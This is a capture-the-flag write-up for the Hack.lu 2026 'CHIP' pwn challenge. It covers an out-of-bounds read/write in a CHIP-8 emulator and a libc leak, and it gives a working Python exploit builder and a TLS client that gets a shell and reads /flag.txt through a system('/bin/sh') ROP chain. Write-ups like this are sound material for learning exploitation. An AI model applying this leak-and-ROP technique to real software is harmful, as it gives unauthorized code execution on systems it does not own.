$ cat writeup.md…
$ cat writeup.md…
Hack.lu 2026
Task: pwn a CHIP-8 emulator whose FX55/FX65 opcodes index memory with an unbounded uint16 I, giving OOB read/write over main's stack. Solution: leak main's saved return address into libc via FX65 + the custom FX41 print opcode, compute the ROP target addresses byte-by-byte with CHIP-8 add-with-carry, OOB-write a pop rdi;ret / /bin/sh / ret / system chain with FX55, then break the loop to return into it.
CHIP — Hack.lu 2026 (pwn)
Corporate Hyperlocal Impact Processor. We move everything to the cloud. Don't worry, we kept the display, so all mission-critical tasks can resume as expected.
Remote:
socat tcp-l:1024,fork EXEC:/chal/user/chip, flag at/flag.txt.
English summary: the provided CHIP.zip contains a CHIP-8 emulator (chip ELF, src/chip.c, src/display.c), the exact libc.so.6 used on the target (glibc 2.41-12+deb13u3), a demo ROM fluxlogo.ch8, and a Dockerfile that runs socat tcp-l:1024,fork EXEC:/chal/user/chip. The service first reads exactly 3584 bytes of CHIP-8 bytecode from stdin into memory[0x200..0xFFF], then executes it. Goal: hijack control and read /flag.txt.
x86-64 PIE ELF, no stack canary, NX enabled, Partial RELRO, not stripped, built with -std=c11 -pedantic -g -Og.
struct program_state { uint16_t stack[48]; // offset 0x000 uint8_t memory[4096]; // offset 0x060 uint16_t I; // offset 0x1060 uint16_t PC; // offset 0x1062 uint8_t V[16]; // offset 0x1064 uint8_t delay_timer; // offset 0x1074 uint8_t sound_timer; // offset 0x1075 int stack_pointer; // offset 0x1078 };
main declares struct program_state main_state = { 0 }; as a stack local, so the emulator's entire address space sits on the process stack — including the saved registers of main itself, just past the end of the struct. The -Og build makes the frame predictable:
main: push rbp ; push rbx ; sub $0x1088, %rsp
At main entry rsp = R holds the return address; the struct base is R - 0x1098 and memory base is struct + 0x60, i.e. R - 0x1038. So memory[0x1038] is main's saved return address — confirmed empirically by leaking it.
OOB write — FX55:
for (int i = 0; i <= X; i++) state->memory[I + i] = state->V[i];
I is a uint16_t and nothing bounds it. ANNN loads any 12-bit value, and FX1E (I += V[X] & 0xFFF) is repeatable, so I can be driven far past 0xFFF — straight into the saved registers above the struct.
OOB read — FX65:
for (int i = 0; i <= X; i++) state->V[i] = state->memory[I + i];
With an out-of-range I, this reads stack bytes into the 16 V registers.
Byte output — a custom opcode FX41:
case 0x41: fwrite(&state->V[X], sizeof(state->V[X]), 1, stdout); break;
This prints exactly one V byte. FX65 followed by F041..FF41 is therefore a byte-perfect stack-leak primitive over the text socket.
(FX33 BCD also writes OOB, but every written value is forced into {0..2, 0..9, 0..9}, so it is useless for building a chain.)
read_input does a single fread(memory + 0x200, 3584, 1, stdin) and the program never reads stdin again. The whole exploit — leak, address computation, ROP write — must therefore run inside the CHIP-8 program itself, in a single 3584-byte payload. Because ASLR randomizes libc every connection, the target addresses cannot be baked in; they must be derived at runtime from the leak.
The leak yields the low 6 bytes of a libc pointer; each ROP gadget is that pointer plus a fixed delta (same libc). To add the 6-byte delta there is no multi-byte arithmetic opcode, so it is assembled from the 8-bit ops:
8XY4 (add_reg x,y) sets VF to the carry-out of V[X] += V[Y].8XY0 / 8XY1 copy / OR registers.Per byte i:
V[i] = leak[i] (8XY0 from the saved leak copy)
V[i] += delta[i] (8XY4 -> VF = c1)
V7 = VF (c1 stashed)
V[i] += carry_in (8XY4 -> VF = c2)
V14 = V7 (c1)
V14 |= VF (c1 | c2 = carry_out)
c1 and c2 are mutually exclusive (you cannot overflow on both the addend and the carry-in step for the same byte), so OR is a correct carry propagation. V14 becomes the carry-in for the next byte. The high 2 bytes of each 8-byte slot are never touched and are pre-zeroed, so writing only the low 6 bytes is enough.
memory index 0x1028 -> saved rbx
memory index 0x1030 -> saved rbp
memory index 0x1038 -> saved RIP (inside libc __libc_start_call_main)
The leaked value is the instruction right after call *%rax in __libc_start_call_main (mov %eax,%edi), at offset C = 0x29ca8 in the provided libc.
libc.so.6, glibc 2.41-12+deb13u3)| symbol | libc offset | delta from C |
|---|---|---|
| leaked return address | 0x29ca8 (C) | 0 |
pop rdi ; ret | 0x2a145 | 0x49d |
ret (alignment) | 0x2a146 | 0x49e |
system | 0x53110 | 0x29468 |
"/bin/sh" | 0x1a5ea4 | 0x17c1fc |
I = 0x1038 (AFFF, V0 = 0x39, F01E → I = 0xFFF + 0x39 = 0x1038), then F565 (for i<=5: V[i] = memory[I+i]). V0..V5 now hold the 6 low bytes of main's saved RIP.V0..V5 into V8..V13, then zero V0..V7.0x1040, 0x1048, 0x1050 with three FX55 X=7 stores, so the high 2 bytes of each future quadword are already 0.I = addr, then run the 6-byte add-with-carry above into V0..V5, and FX55 X=5 (for i<=5: memory[I+i] = V[i]) to write the low 6 bytes. Chain written at 0x1038:
+0x1038 = pop rdi ; ret+0x1040 = pointer to "/bin/sh"+0x1048 = ret (16-byte stack alignment)+0x1050 = system1FFF jumps PC to 0xFFF, reading padding zeros (0x0000 opcode, falls into the 0x0 default case) → UNRECOGNIZED_INSTRUCTION → while loop exits → main returns → ROP → system("/bin/sh").asm.py is a tiny CHIP-8 assembler; exp.py emits exploit.ch8 (444 code bytes, zero-padded to 3584). The essential builder:
#!/usr/bin/env python3 """Hack.lu 2026 CHIP exploit: OOB stack leak + ROP entirely in CHIP-8 bytecode.""" import sys from asm import Asm, pad # provided libc.so.6 (glibc 2.41-12+deb13u3) C = 0x29ca8 # offset of leaked return addr (mov %eax,%edi after call *%rax) POP_RDI = 0x2a145 RET = 0x2a146 SYSTEM = 0x53110 BINSH = 0x1a5ea4 def delta(v): # 6 little-endian bytes of (target - leak) return [(v >> (8 * i)) & 0xff for i in range(6)] TARGETS = [ (0x1038, delta(POP_RDI - C)), (0x1040, delta(BINSH - C)), (0x1048, delta(RET - C)), (0x1050, delta(SYSTEM - C)), ] LEAK_ADDR = 0x1038 def set_i_const(a, nnn, reg=0): assert 0xFFF <= nnn <= 0x10FE a.ld_i(0xFFF) a.ld_imm(reg, nnn - 0xFFF) a.add_i(reg) # FX1E: I += V[reg] & 0xFFF def build(): a = Asm() # 1) leak: V0..V5 = mem[0x1038..0x103D] set_i_const(a, LEAK_ADDR, reg=0) a.load(5) # FX65 for i in range(6): # 2) preserve leak in V8..V13 a.ld_reg(8 + i, i) for x in range(8): # zero V0..V7 a.ld_imm(x, 0) # 3) zero-fill high bytes of the chain slots for addr in (0x1040, 0x1048, 0x1050): set_i_const(a, addr, reg=7) # clobbers V7 a.ld_imm(7, 0) # re-zero V7 a.store(7) # FX55 X=7 -> memory[addr..addr+7] = 0 # 4) per quadword: 6-byte add-with-carry, then FX55 X=5 for addr, d in TARGETS: set_i_const(a, addr, reg=0) a.ld_imm(0xE, 0) # carry_in = 0 for i in range(6): a.ld_imm(0x6, d[i]) # V6 = delta[i] a.ld_reg(i, 8 + i) # Vi = leak[i] a.add_reg(i, 6) # Vi += delta[i]; VF = c1 a.ld_reg(7, 15) # V7 = c1 a.add_reg(i, 14) # Vi += carry_in; VF = c2 a.ld_reg(14, 7) # V14 = c1 a.or_(14, 15) # V14 = c1 | c2 (mutually exclusive) a.store(5) # FX55 X=5 -> write low 6 bytes # 5) break the loop -> main returns -> ROP a.jp(0xFFF) return a if __name__ == "__main__": a = build() out = sys.argv[1] if len(sys.argv) > 1 else "exploit.ch8" open(out, "wb").write(pad(a.code)) print("wrote %s (%d code bytes)" % (out, len(a.code)))
Remote delivery is TLS-fronted by socat, so the client wraps a plain socket in ssl and sends the payload followed by shell commands (ncat --ssl <host> 1024 also works interactively):
#!/usr/bin/env python3 """Remote exploit client (TLS) for Hack.lu 2026 CHIP. Usage: remote_solve_ssl.py <host> <port>""" import socket, ssl, sys, time, re HOST, PORT = sys.argv[1], int(sys.argv[2]) payload = open("exploit.ch8", "rb").read() assert len(payload) == 3584 ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE raw = socket.create_connection((HOST, PORT), timeout=20) s = ctx.wrap_socket(raw, server_hostname=HOST) def recv_all(t=6.0): s.settimeout(t); buf = b"" while True: try: d = s.recv(65536) if not d: break buf += d except (socket.timeout, ssl.SSLWantReadError): break return buf s.sendall(payload); time.sleep(0.5) s.sendall(b"id; cat /flag.txt; echo ===END===\n"); time.sleep(2.0) out = recv_all(8.0) clean = re.sub(rb"Instruction: [0-9a-f]+\n", b"", out).replace(b"Starting CHIP...\n", b"") clean = clean.replace(b"Enter your CHIP bytecode > ", b"") sys.stdout.write(clean.decode("latin-1", "replace"))
Running it against the target yields a shell as the unprivileged user and prints /flag.txt (format flag{...}, redacted here).
The provided libc must be the one the binary resolves at runtime, so bind-mount it over the system libc in a matching container (glibc 2.41 / Debian trixie) and feed the bytecode non-interactively:
(cat exploit.ch8; sleep 1; echo 'id; cat /flag.txt') | ./chip
The exploit works because every address is computed from the in-process leak; only the libc offsets are fixed.
Use this technique when:
FX55/FX65 with unbounded I).libc.so.6 — gadget offsets are fixed, only the base is randomized, so a leak + in-program arithmetic is a complete solve.fwrite(&V[X],1,1,stdout)) — that is an intentional leak primitive, pair it with an OOB read.fread consumes the whole input and stdin is never read again — leak, compute, and overwrite must all live inside the guest bytecode.pop rdi ; ret / "/bin/sh" / ret (alignment) / system, with the chain written by the guest itself.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar